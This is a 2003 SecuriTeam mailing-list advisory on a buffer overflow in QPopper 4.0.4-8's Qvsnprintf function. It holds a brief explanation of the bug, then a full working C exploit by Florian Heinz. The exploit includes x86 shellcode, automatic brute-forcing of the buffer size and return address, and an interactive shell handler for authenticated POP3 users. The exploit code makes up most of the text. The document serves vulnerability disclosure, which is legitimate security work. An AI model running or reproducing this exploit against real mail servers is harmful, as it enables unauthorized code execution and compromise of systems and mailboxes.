[UNIX] QPopper Qvsnprintf Vulnerability (Exploit, MDEF)
From: support@securiteam.com
Date: 03/12/03
- Previous message: support@securiteam.com: "[NEWS] Buffer Overflow in Lotus Notes Protocol Authentication"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Date: 12 Mar 2003 23:20:14 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
In the US?
Contact Beyond Security at our new California office
housewarming rates on automated network vulnerability
scanning. We also welcome ISPs and other resellers!
Please contact us at: 323-882-8286 or ussales@beyondsecurity.com
- - - - - - - - -
QPopper Qvsnprintf Vulnerability (Exploit, MDEF)
------------------------------------------------------------------------
SUMMARY
Under certain conditions, it is possible to execute arbitrary code using a
buffer overflow in the recent qpopper. The vulnerability requires a valid
username/password-combination. The arbitrary code is usually executed with
the user's uid and gid mail.
DETAILS
Vulnerable systems:
* QPopper version n4.0.4-8
Qualcomm provides their own vsnprintf-implementation Qvsnprintf(). This
function is used unconditionally on any system, regardless if the system
has its own vsnprintf(). The function correctly writes up to 'n' bytes
into the buffer, but fails to null-terminate it if buffer-space runs out
while copying the format-string (so the obvious fix is, null-terminate the
buffer in Qvsnprintf()).
This is a problem in pop_msg() (popper/pop_msg.c). The call to
Qvsnprintf() can leave the buffer 'message' un-terminated, so the
successive call to strcat (strcat(message,"\r\n")) writes somewhere into
the stack. What it exactly overwrites depends heavily on the individual
binary and the current stack-data (where the next null-byte is found).
Florian Heinz successfully managed to execute arbitrary code using the
'mdef'-command with the binary in the most recent Debian-package
'qpopper-4.0.4-8'. Sending 'mdef <macroname>()' with a macro-name of about
1000 bytes fills the buffer leaving it un-terminated. The strcat
overwrites the least significant byte of the saved base pointer on the
stack, now pointing inside the buffer. On return of pop_mdef() (file
pop_extend.c), the return-address is now fetched from within our buffer
(and of course pointing inside our buffer), allowing to, for example,
spawn a shell.
The Macroname may not include bytes causing isspace() to return true and,
of course, no null-byte, so shellcode must be appropriate crafted.
Exploit:
/*****************************************************************************/
/* Exploit for qpopper 4.0.x */
/* (successfully tested with debian qpopper-4.0.4-8) */
/* Provide a valid username/password and get a shell with the user's
rights */
/* and GID mail. */
/* Author: Florian Heinz <sky@dereference.de> */
/* */
/*****************************************************************************/
#include <sys/socket.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
char shellcode[] =
"\x31\xc0" /* xor %eax, %eax */
"\x31\xdb" /* xor %ebx, %ebx */
"\xb0\x17" /* mov $0x17, %al */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax, %eax */
"\x50" /* push %eax */
"\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */
"\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */
"\x89\xe3" /* mov %esp,%ebx */
"\x50" /* push %eax */
"\x53" /* push %ebx */
"\x89\xe1" /* mov %esp,%ecx */
"\x31\xd2" /* xor %edx,%edx */
"\xb0\x08" /* mov $0x8,%al */
"\x40\x40\x40" /* inc %eax (3 times) */
"\xcd\x80"; /* int $0x80 */
#define BUFLEN 1006
#define RETLEN 148
#define RETADDR 0xbfffc004
void
shell_io (fd)
int fd;
{
fd_set fs;
char buf[1000];
int len;
while (1)
{
FD_ZERO(&fs);
FD_SET(0, &fs);
FD_SET(fd, &fs);
select(fd+1, &fs, NULL, NULL, NULL);
if (FD_ISSET(0, &fs))
{
if ((len = read(0, buf, 1000)) <= 0)
break;
write(fd, buf, len);
}
else
{
if ((len = read(fd, buf, 1000)) <= 0)
break;
write(1, buf, len);
}
}
}
void
send_mdef (fd, buflen, retaddr, rashift)
int fd, buflen, rashift;
unsigned int retaddr;
{
char buf[2000], *bp;
int i;
memset(buf, 0x90, 2000);
memcpy(buf, "mdef ", 5);
memcpy(buf + buflen - RETLEN - strlen(shellcode),
shellcode, strlen(shellcode));
bp = (char *) (((unsigned int)(buf + buflen - RETLEN)) & 0xfffffffc);
for (i = 0; i < RETLEN; i += 4)
memcpy(bp+i+rashift, &retaddr, sizeof(int));
buf[buflen-2] = '(';
buf[buflen-1] = ')';
buf[buflen] = '\n';
write(fd, buf, buflen+1);
return;
}
int get_pop_reply (int fd, char *buf, int buflen)
{
int len;
fd_set s;
struct timeval tv;
len = read (fd, buf, buflen);
FD_ZERO(&s);
FD_SET(fd, &s);
tv.tv_sec = tv.tv_usec = 0;
select(fd+1, &s, NULL, NULL, &tv);
if (FD_ISSET(fd, &s))
len = read (fd, buf, buflen);
if (len == 0)
return 0;
else if (!strncmp(buf, "-ERR ", 5))
return -1;
else
return len;
}
int
open_pop(ip, user, pass)
unsigned int ip;
char *user, *pass;
{
struct sockaddr_in peer;
int fd, st = 0;
char buf[1024];
int state = 0;
peer.sin_family = AF_INET;
peer.sin_port = htons(110);
peer.sin_addr.s_addr = ip;
fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd < 0)
{
perror("socket");
exit(EXIT_FAILURE);
}
printf("Connecting to %s... ", inet_ntoa(peer.sin_addr));
fflush(stdout);
if (connect(fd, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) <
0)
{
perror("connect");
exit(EXIT_FAILURE);
}
printf("Logging in... ");
fflush(stdout);
while ((state < 3) && ((st = read(fd, buf, 1024)) > 0))
{
if (!strncmp(buf, "+OK ", 4))
{
switch (state)
{
case 0:
snprintf(buf, 1024, "USER %s\n", user);
write(fd, buf, strlen(buf));
state++;
break;
case 1:
snprintf(buf, 1024, "PASS %s\n", pass);
write(fd, buf, strlen(buf));
state++;
break;
case 2:
state++;
break;
}
}
else if (!strncmp(buf, "-ERR ", 5))
{
fprintf(stderr, "Could not log in. Did you provide a valid "
"username/password-combination?\n");
break;
}
else
{
fprintf(stderr, "Invalid response from POP-Server:\n'%s'\n",
buf);
break;
}
}
if (state < 3)
{
fprintf(stderr, "Exiting due to error...\n");
exit(EXIT_FAILURE);
}
else if (st < 0)
{
perror("read");
exit(EXIT_FAILURE);
}
else if (st == 0)
{
fprintf(stderr, "Peer closed...\n");
exit(EXIT_FAILURE);
}
return fd;
}
int
main (argc, argv)
int argc;
char *argv[];
{
char *host, *user, *pass;
struct hostent *he;
struct in_addr in;
unsigned int ip, retaddr;
int fd = -1, lbs, bs, ubs, found = 0, st;
char buf[2000];
if (4 != argc)
{
fprintf(stderr, "Usage: %s <host> <user> <pass>\n\n", argv[0]);
exit(EXIT_FAILURE);
}
host = argv[1];
user = argv[2];
pass = argv[3];
if (!inet_aton(host, &in))
{
if (!(he = gethostbyname(host)))
{
herror("Resolving host");
exit(EXIT_FAILURE);
}
in.s_addr = *((unsigned int *)he->h_addr);
}
ip = in.s_addr;
printf("Phase 1: Seeking buffer size\n");
lbs = 0;
bs = BUFLEN;
ubs = 2000;
while (!found && (bs != lbs) && (bs != ubs))
{
if (fd < 0)
fd = open_pop(ip, user, pass);
printf("Trying %d bytes... ", bs);
fflush(stdout);
send_mdef(fd, bs, 0x01010101, 0);
sleep(1);
switch ((st = get_pop_reply(fd, buf, 2000)))
{
case 0:
found++;
close(fd);
fd = -1;
break;
case -1:
printf("too long.\n");
ubs = bs;
bs = (lbs+ubs)/2;
break;
default:
if (st < bs)
{
printf("(slightly) too long.\n");
ubs = bs;
bs = (lbs+ubs)/2;
break;
}
else
{
printf("too short.\n");
lbs = bs;
bs = (lbs+ubs)/2;
break;
}
}
}
if (!found)
{
printf("Couldn't find correct buffersize...\n");
exit(EXIT_FAILURE);
}
printf("crash.\n");
while (found)
{
bs--;
if (fd < 0)
fd = open_pop(ip, user, pass);
printf("Trying %d bytes... ", bs);
fflush(stdout);
send_mdef(fd, bs, 0x01010101, 0);
sleep(1);
if (get_pop_reply(fd, buf, 2000))
{
printf("no crash\n");
bs += 4;
bs = bs & 0xfffffffc;
found = 0;
}
else
{
fd = -1;
printf("crash\n");
}
}
printf("Optimal buffer size: %d\n\n", bs);
printf("Phase 2: Find return address\n");
found = 0;
retaddr = RETADDR;
while (!found)
{
if (fd < 0)
fd = open_pop(ip, user, pass);
printf("Trying %x... ", retaddr);
fflush(stdout);
send_mdef(fd, bs, retaddr, 2);
sleep(1);
if (get_pop_reply(fd, buf, 2000))
{
printf("no crash\n");
found = 1;
}
else
{
fd = -1;
retaddr += ((bs - RETLEN - 10 - strlen(shellcode)) & 0xffffff00);
printf("crash\n");
}
if (retaddr > 0xbfffff00)
break;
}
if (!found)
{
printf("Couldn't find a valid return address\n");
exit(EXIT_FAILURE);
}
write(fd, "uname -a\n", 9);
st = read(fd, buf, 100);
buf[st] = '\0';
if ((buf[0] != '-') && (buf[0] != '+'))
{
printf("We're in! (%s)\n", buf);
shell_io(fd);
}
else
printf("We failed...\n");
exit(EXIT_FAILURE);
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:heinz@cronon-ag.de> Florian
Heinz.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: support@securiteam.com: "[NEWS] Buffer Overflow in Lotus Notes Protocol Authentication"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|